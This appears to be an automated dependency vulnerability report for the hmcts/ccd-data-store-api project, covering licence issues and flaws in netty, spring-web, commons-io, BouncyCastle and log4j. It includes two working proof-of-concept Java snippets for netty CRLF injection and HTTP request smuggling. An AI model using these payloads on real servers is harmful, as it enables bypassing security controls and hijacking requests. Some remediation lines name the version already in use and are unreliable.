  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-simdvec@9.2.4 org.elasticsearch:elasticsearch-native@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-simdvec@9.2.4 org.elasticsearch:elasticsearch-native@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-native@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-simdvec@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-simdvec@9.2.4 org.elasticsearch:elasticsearch-native@9.2.4 org.elasticsearch:elasticsearch-logging@9.2.4

AGPL-3.0 license

high severity

AGPL-3.0 license

  • Module: org.elasticsearch:elasticsearch-native
  • Introduced through: org.elasticsearch:elasticsearch@9.2.4 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-native@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-simdvec@9.2.4 org.elasticsearch:elasticsearch-native@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-native@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-simdvec@9.2.4 org.elasticsearch:elasticsearch-native@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-native@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-native@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-simdvec@9.2.4 org.elasticsearch:elasticsearch-native@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-simdvec@9.2.4 org.elasticsearch:elasticsearch-native@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-native@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-simdvec@9.2.4 org.elasticsearch:elasticsearch-native@9.2.4

AGPL-3.0 license

high severity

AGPL-3.0 license

  • Module: org.elasticsearch:elasticsearch-simdvec
  • Introduced through: org.elasticsearch:elasticsearch@9.2.4 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-simdvec@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-simdvec@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-simdvec@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-simdvec@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch:elasticsearch-simdvec@9.2.4

AGPL-3.0 license

high severity

AGPL-3.0 license

  • Module: org.elasticsearch.plugin:elasticsearch-plugin-analysis-api
  • Introduced through: org.elasticsearch:elasticsearch@9.2.4 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch.plugin:elasticsearch-plugin-analysis-api@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch.plugin:elasticsearch-plugin-analysis-api@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch.plugin:elasticsearch-plugin-analysis-api@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch.plugin:elasticsearch-plugin-analysis-api@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch.plugin:elasticsearch-plugin-analysis-api@9.2.4

AGPL-3.0 license

high severity

AGPL-3.0 license

  • Module: org.elasticsearch.plugin:elasticsearch-plugin-api
  • Introduced through: org.elasticsearch:elasticsearch@9.2.4 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch.plugin:elasticsearch-plugin-api@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch.plugin:elasticsearch-plugin-analysis-api@9.2.4 org.elasticsearch.plugin:elasticsearch-plugin-api@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch.plugin:elasticsearch-plugin-api@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch.plugin:elasticsearch-plugin-analysis-api@9.2.4 org.elasticsearch.plugin:elasticsearch-plugin-api@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch.plugin:elasticsearch-plugin-api@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch.plugin:elasticsearch-plugin-api@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch.plugin:elasticsearch-plugin-analysis-api@9.2.4 org.elasticsearch.plugin:elasticsearch-plugin-api@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch.plugin:elasticsearch-plugin-analysis-api@9.2.4 org.elasticsearch.plugin:elasticsearch-plugin-api@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch.plugin:elasticsearch-plugin-api@9.2.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.elasticsearch.plugin:elasticsearch-plugin-analysis-api@9.2.4 org.elasticsearch.plugin:elasticsearch-plugin-api@9.2.4

AGPL-3.0 license

medium severity

Uncontrolled Resource Consumption ('Resource Exhaustion')

  • Vulnerable module: commons-io:commons-io
  • Introduced through: commons-io:commons-io@2.5, io.searchbox:jest@6.3.1 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api commons-io:commons-io@2.5
    Remediation: Upgrade to commons-io:commons-io@2.14.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 commons-io:commons-io@2.5
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 commons-io:commons-io@2.5
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springdoc:springdoc-openapi-starter-common@2.8.17 io.swagger.core.v3:swagger-core-jakarta@2.2.47 commons-io:commons-io@2.5
    Remediation: Upgrade to org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17.

Overview

commons-io:commons-io is a The Apache Commons IO library contains utility classes, stream implementations, file filters, file comparators, endian transformation classes, and much more.

Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') through the XmlStreamReader class. An attacker can cause the application to consume excessive CPU resources by sending specially crafted XML content.

Remediation

Upgrade commons-io:commons-io to version 2.14.0 or higher.

References

medium severity

CRLF Injection

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to CRLF Injection in HttpRequestEncoder, due to improper sanitization of a URI with line-breaks in the DefaultHttpRequest class. An attacker can manipulate HTTP requests to cause parser desynchronization, request smuggling, and response splitting by including line break characters in requests.

PoC


public static void main(String[] args) {

  EmbeddedChannel client = new EmbeddedChannel();
  client.pipeline().addLast(new HttpClientCodec());

  EmbeddedChannel server = new EmbeddedChannel();
  server.pipeline().addLast(new HttpServerCodec());
  server.pipeline().addLast(new ChannelInboundHandlerAdapter() {
    @Override
    public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
      System.out.println("Processing msg " + msg);
    }
  });

  DefaultHttpRequest request = new DefaultHttpRequest(
    HttpVersion.HTTP_1_1,
    HttpMethod.GET,
    "/s1 HTTP/1.1\r\n" +
      "\r\n" +
      "POST /s2 HTTP/1.1\r\n" +
      "content-length: 11\r\n\r\n" +
      "Hello World" +
      "GET /s1"
  );
  client.writeAndFlush(request);
  ByteBuf tmp;
  while ((tmp = client.readOutbound()) != null) {
    server.writeInbound(tmp);
  }
}

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.129.Final, 4.2.8.Final or higher.

References

medium severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling via the getChunkSize function. An attacker can inject unauthorized HTTP requests by crafting a chunk size value that causes integer overflow, allowing additional requests to be smuggled within the body of a chunked HTTP message.

PoC

@Test
public void test() {
    String requestStr = "POST / HTTP/1.1\r\n" +
            "Host: localhost\r\n" +
            "Transfer-Encoding: chunked\r\n\r\n" +
            "100000004\r\n" +
            "test\r\n" +
            "0\r\n" +
            "\r\n" +
            "GET /smuggled HTTP/1.1\r\n" +
            "Host: localhost\r\n" +
            "Content-Length: 0\r\n" +
            "\r\n";

    EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
    assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));

    // Request 1
    HttpRequest request = channel.readInbound();
    assertTrue(request.decoderResult().isSuccess());
    HttpContent content = channel.readInbound();
    assertTrue(content.decoderResult().isSuccess());
    assertEquals("test", content.content().toString(CharsetUtil.US_ASCII));
    content.release();
    LastHttpContent last = channel.readInbound();
    assertTrue(last.decoderResult().isSuccess());
    last.release();

    // Request 2
    request = channel.readInbound();
    assertTrue(request.decoderResult().isSuccess());
    last = channel.readInbound();
    assertTrue(last.decoderResult().isSuccess());
    last.release();
}

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.

References

medium severity

LDAP Injection

  • Vulnerable module: org.bouncycastle:bcprov-jdk18on
  • Introduced through: org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 and org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-starter@5.0.1 org.bouncycastle:bcprov-jdk18on@1.81
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework.cloud:spring-cloud-starter@5.0.1 org.bouncycastle:bcprov-jdk18on@1.81

Overview

Affected versions of this package are vulnerable to LDAP Injection via the parseDN handling and the LDAP store helpers in X509LDAPCertStoreSpi and LDAPStoreHelper. An attacker can influence LDAP search filters by supplying a crafted X.500 subject or issuer string that is parsed into an unescaped filter value. This lets the attacker alter the directory query used to locate certificates and CRLs, causing the application to retrieve incorrect LDAP entries or fail to find the intended ones, which can break certificate validation and revocation checks.

Remediation

Upgrade org.bouncycastle:bcprov-jdk18on to version 1.84 or higher.

References

medium severity
new

HTTP Request Smuggling

  • Vulnerable module: org.springframework:spring-web
  • Introduced through: org.springframework.security:spring-security-web@7.1.0, org.springframework.security:spring-security-oauth2-core@7.1.0 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-web@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-core@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.hateoas:spring-hateoas@3.1.1 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.hateoas:spring-hateoas@3.1.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-client@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-jose@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-jose@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-client@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springframework:spring-webmvc@7.0.8 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springdoc:springdoc-openapi-starter-webmvc-ui@3.0.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework:spring-webmvc@7.0.8 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework.boot:spring-boot-servlet@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework.cloud:spring-cloud-openfeign-core@5.0.1 io.github.openfeign:feign-form-spring@13.6 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security@4.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter-security@4.1.0 org.springframework.boot:spring-boot-security@4.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-jose@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-tomcat@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.springframework.boot:spring-boot-tomcat@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-client@4.0.2 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-client@4.0.2 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-client@4.0.2 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-client@4.0.2 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-client@4.0.2 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-client@4.0.2 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to HTTP Request Smuggling via multipart request parsing discrepancies between Spring MVC/WebFlux and intermediary security devices. An attacker can bypass Web Application Firewall (WAF) or proxy security controls by sending crafted multipart requests that are interpreted differently by the intermediary and the Spring application, allowing malicious content to evade inspection and reach the backend application.

Remediation

Upgrade org.springframework:spring-web to version 6.0.0, 6.2.19, 7.0.8 or higher.

References

medium severity

Arbitrary Code Execution

  • Vulnerable module: org.apache.logging.log4j:log4j-core
  • Introduced through: org.elasticsearch:elasticsearch@9.2.4 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to org.elasticsearch:elasticsearch@9.2.4.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@9.2.4 org.apache.logging.log4j:log4j-core@2.7
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
